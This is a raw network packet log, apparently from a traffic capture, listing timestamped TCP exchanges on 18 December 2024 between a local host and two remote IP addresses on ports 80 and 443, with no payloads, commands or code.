Dec 18, 2024 09:07:19.815104961 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.815123081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.815138102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.815161943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.815196037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.815922976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.815973043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.815990925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.816006899 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.816031933 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.816067934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.816811085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.816862106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.816889048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.816905022 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.816948891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.816992998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.817675114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.817723989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.817723989 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.817739964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.817768097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.817800045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.818540096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.818588972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.818608046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.818660021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.818666935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.818717957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.819498062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.819513083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.819528103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.819551945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.819586039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.820285082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.820333958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.820395947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.820411921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.820450068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.820482016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.821127892 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.821178913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.821199894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.821216106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.821245909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.821279049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.822033882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.822061062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.822077036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.822087049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.822123051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.822123051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.822860003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.822909117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.822945118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.822962046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.822990894 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.823024035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.823729992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.823776007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.823796988 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.823820114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.823839903 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.823864937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.824749947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.824798107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.824843884 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.824887037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.987440109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.987500906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.987513065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.987545013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.987559080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.987593889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.987608910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.987608910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.987628937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.987644911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.987674952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.988046885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.988099098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.988107920 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.988185883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.988189936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.988224983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.988797903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.988847971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.988900900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.988934040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.988945007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.988977909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.989392996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.989425898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.989439964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.989461899 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.989474058 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.989509106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.990046978 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.990096092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.990096092 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.990113020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.990134954 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.990154028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.990729094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.990776062 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.990791082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.990806103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.990832090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.990848064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.991591930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.991647959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.991681099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.991695881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.991728067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.991740942 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.992408991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.992448092 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.992482901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.992499113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.992527962 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.992539883 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.993277073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.993340969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.993367910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.993382931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.993411064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.993419886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.994124889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.994168043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.994215012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.994230986 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.994259119 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.994271994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.995378017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.995426893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.995450020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.995465994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.995493889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.995548010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.996234894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.996280909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.996315002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.996330976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.996355057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.996366024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.996985912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.997030973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.997066021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.997103930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.997127056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.997134924 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.997687101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.997733116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.997770071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.997785091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.997812986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.997824907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.998490095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.998531103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.998564959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.998580933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.998610020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.998620987 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.999375105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.999422073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.999443054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.999459982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.999483109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.999490976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.000207901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.000253916 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.000297070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.000313044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.000346899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.000359058 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.001075983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.001121998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.001167059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.001183987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.001204014 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.001215935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.001961946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.002015114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.002031088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.002047062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.002077103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.002088070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.002846956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.002887964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.002899885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.002914906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.002948999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.002962112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.003686905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.003730059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.003765106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.003781080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.003806114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.003823996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.004575014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.004617929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.004893064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.004940987 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.004990101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.005006075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.005039930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.005728960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.005776882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.005811930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.005829096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.005851984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.005862951 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.006745100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.006789923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.006819010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.006834984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.006860018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.006870985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.007731915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.007774115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.007788897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.007806063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.007821083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.007833004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.008471012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.008517027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.008554935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.008569002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.008596897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.008606911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.009206057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.009248018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.009304047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.009320021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.009346008 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.009358883 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.010077953 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.010123968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.010169983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.010185957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.010214090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.010226011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.010957956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.011020899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.011030912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.011045933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.011065960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.011074066 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.011872053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.011923075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.011975050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.011991024 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.012015104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.012027025 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.012686014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.012731075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.012742043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.012758017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.012777090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.012787104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.013555050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.013612986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.013632059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.013648033 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.013675928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.013686895 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.014413118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.014481068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.014563084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.014579058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.014602900 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.014615059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.015338898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.015391111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.015399933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.015415907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.015439987 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.015461922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.016166925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.016212940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.016252041 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.016305923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.152975082 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.153110027 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.153198004 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.153202057 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.153228045 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.153275967 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.153291941 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.168327093 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.168421030 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.168663979 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.168725967 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.168977976 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.177705050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.177771091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.177788019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.177875996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.178047895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.178117037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.178132057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.178198099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.178898096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.178950071 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.179105043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.179157972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.179439068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.179486990 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.179536104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.179552078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.179584026 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.179594994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.180413961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.180433035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.180449963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.180469036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.180469036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.180483103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.181123972 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.181282043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.181344986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.181358099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.181372881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.181402922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.181452036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.182045937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.182090998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.182178974 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.182193995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.182220936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.182235956 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.182954073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.183000088 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.183027029 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.183043003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.183067083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.183074951 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.183796883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.183845997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.183901072 CET	80	49714	31.41.244.11	192.168.2.8
